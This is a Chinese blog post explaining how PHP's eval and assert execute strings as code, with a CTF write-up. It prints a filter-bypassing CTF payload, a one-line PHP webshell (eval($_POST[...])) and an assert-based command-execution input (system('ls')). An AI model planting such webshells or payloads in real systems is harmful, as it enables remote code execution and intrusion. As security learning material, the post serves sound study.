eval和assert区别_eval用法

eval和assert区别_eval用法eval和assert的特性经常把我搞懵,所以在这里记录一下。 该函数只有一个参数,即需要被执行的字符串代码。 代码不能包含打开/关闭PHP标签,但可以用合适的 PHP tag 来离开、重新进入 PHP 模式。 ?>闭合php文件开头的

eval和assert区别_eval用法

 

eval和assert的特性经常把我搞懵,所以在这里记录一下。

eval 函数

php官方手册:link.jianshu.com/?t=http://p…

(PHP 4, PHP 5, PHP 7)

eval — 把字符串作为PHP代码执行

image.png

该函数只有一个参数,即需要被执行的字符串代码。

  • 代码不能包含打开/关闭PHP标签,但可以用合适的 PHP tag 来离开、重新进入 PHP 模式。
<?php
eval('<?php echo "Hi!"; ?>');
eval('echo "In PHP mode!"; ?>In HTML mode!<?php echo "Hi!";');

image.png

image.png

例如安恒杯9月月赛web2

<?php 
include 'flag.php';
if(isset($_GET['code']))
{
    $code=$_GET['code'];
    if(strlen($code)>35){
    die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code))
    {
        die("NO.");
    }
    @eval($code);
}
else
{
    highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>

payload:

code=?><?=`/???/??? ????.???`?>

?>闭合php文件开头的<?php<?=可以输出。就是用了这个特性。

另外这里<? ?>是短标签,<?php ?>是长标签。在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>同时,只有开启这个才可以使用 <?= 以代替 <? echo。不过在php7中这个标签被移除了。

  • 并且传入的必须是有效的 PHP 代码,所有的语句必须以分号结尾。

image.png

  • return 语句会立即中止当前字符串的执行。

image.png

  • 代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。

image.png

  • eval() 返回 NULL,除非在执行的代码中 return 了一个值,函数返回传递给 return 的值。

image.png
因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

可变函数不能用于例如 echoprintunset()isset()empty()includerequire 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

image.png

因此一般我们的一句话木马一般都写成

<?php
eval($_POST['2']);

而不是

<?php
$_POST['1']($_POST['2']);

不过我们依然可以传入1=assert&2=system('ls')来执行命令,也就是我们要说的assert函数。

 

assert(PHP5 And PHP7)

php官方手册:php.net/manual/zh/f…

(PHP 4, PHP 5, PHP 7)

assert — 检查一个断言是否为 FALSE

image.png

image.png

  • 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

image.png

assert() 的行为可以通过 assert_options() 来配置。

assert_options

(PHP 4, PHP 5, PHP 7)

assert_options — 设置/获取断言的各种标志

image.png

  • 在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。
  • assert_options() ASSERT_CALLBACK 配置指令允许设置回调函数来处理失败的断言。
  • 回调函数应该接受三个参数。 第一个参数包括了断言失败所在的文件。 第二个参数包含了断言失败所在的行号,第三个参数包含了失败的表达式
<?php
// 激活断言,并设置它为 quiet
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);

//创建处理函数
function my_assert_handler($file, $line, $code, $desc = null) {
    echo "Assertion failed at $file:$line: $code";
    if ($desc) {
        echo ": $desc";
    }
    echo "n";
}

// 设置回调函数
assert_options(ASSERT_CALLBACK, 'my_assert_handler');

// Make an assertion that should fail
assert('2 < 1', false);
assert('2 < 1', 'Two is less than one');
?>

image.png

 

assert(PHP7)

在PHP7中assert变成了一种语言结构而不是一个函数。

image.png

也就是说像eval一样不支持可变函数。

image.png

同样的

<?php
$_POST['1']($_POST['2']);

在php7中无法传入1=assert&2=system('ls')来执行命令

菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。

另外php7中增加了断言的ExpectationsExpectations增强了之前的assert方法,我们可以在开发或者生产环境中使用断言,其提供了可配置选项,我们可以针对不同的环境来使用不同的策略。

image.png

我们可以通过在php.ini中设置zend.assertions = -1来关闭代码执行。

image.png

不过默认是打开的也就是zend.assertions = -1

image.png

具体底层分析可以参考柠檬师傅的文章:从底层分析eval和assert的区别

 

Referer

从底层分析eval和assert的区别

PHP7新特性一览

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
转载请注明出处: https://daima100.com/13733.html

(0)

相关推荐

  • 再谈mvcc与vacuum[亲测有效]

    再谈mvcc与vacuum[亲测有效]再谈mvcc与vacuum 1简介 在pg的各种技术讨论和日常运维中,vacuum永远是主要的话题之一。 pg数据库管理运维过程中,经常会调整以下的vacuum参数,以优化数据库的性能 alter …

    2023-02-22
    143
  • SSH 登录流程分析「建议收藏」

    SSH 登录流程分析「建议收藏」写一篇短文,介绍 ssh 密钥登录远程服务器流程和注意事项。 密钥登录比密码登录安全,主要是因为他使用了非对称加密,登录过程中需要用到密钥对。整个登录流程如下: 远程服务器持有公钥,当有用户进行登录,服务器就会随机生成一串字符串,然后发送给正在进行登录的用户。 用户收到远程服务…

    2023-08-13
    119
  • 数据库用python_数据库结构的基础是

    数据库用python_数据库结构的基础是一、SQL与NoSQL ​ 数据库服务端可以服务多种类型的客户端 ​ 客户端可以是自己开发的,也可以是python代码编写的,也可以是其他编程语言编写的 SQL 操作关系型数据的语言 NoSQL 操作

    2023-06-16
    148
  • oracle解锁用户时报错ORA-01109: database not open的解决办法「建议收藏」

    oracle解锁用户时报错ORA-01109: database not open的解决办法「建议收藏」#复制ora文件 cd /usr/oracle/app/oracle/admin/orcl/pfile ls cp init.ora.313202010110 /usr/oracle/app/ora…

    2023-02-17
    148
  • 让我们和mysql谈场恋爱, 做一个整整懂她的男人!「建议收藏」

    让我们和mysql谈场恋爱, 做一个整整懂她的男人!「建议收藏」1.数据库概述1.什么是数据库?数据库就是【存储数据的仓库】,其本质是一个【文件系统】,数据按照特定的格式将数据存储起来,用户可以通过SQL对数据库中的数据进行增加,修改,删除及查询操作。2.什么是…

    2023-04-04
    147
  • node.js官网_js源码网址

    node.js官网_js源码网址内容管理系统 (「CMS」) 使没有强大技术背景的人也能够轻松发布内容。我们可以使用 「CMS」 来管理我们的内容和交付。市面上有不同类型的 「CMS」,它们执行不同的目的并具有不同的功能。

    2023-07-29
    113
  • 如何更新pip版本

    如何更新pip版本pip是Python的官方包管理工具,它可以帮助用户安装、卸载和更新Python库。在这篇文章中,我将讨论几个问题,例如:如何更新pip版本、pip更新命令、如何更新pip的版本、从pip更新Python版本、Anaconda更新pip版本、cmd怎么更新pip版本、更新pip版本失败以及pip更新库指定版本等问题。

    2024-08-05
    30
  • 怎么在centos7上安装oracle_oracle数据库用命令行登陆

    怎么在centos7上安装oracle_oracle数据库用命令行登陆CentOS 7 命令行安装oracle 前言: ​ 本篇文章是使用VM中的centos7 安装oracle11g,网上找了很多教程,花了一天时间终于把oracle安装好了。大家可以看一看,全篇把文章

    2023-05-05
    144

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注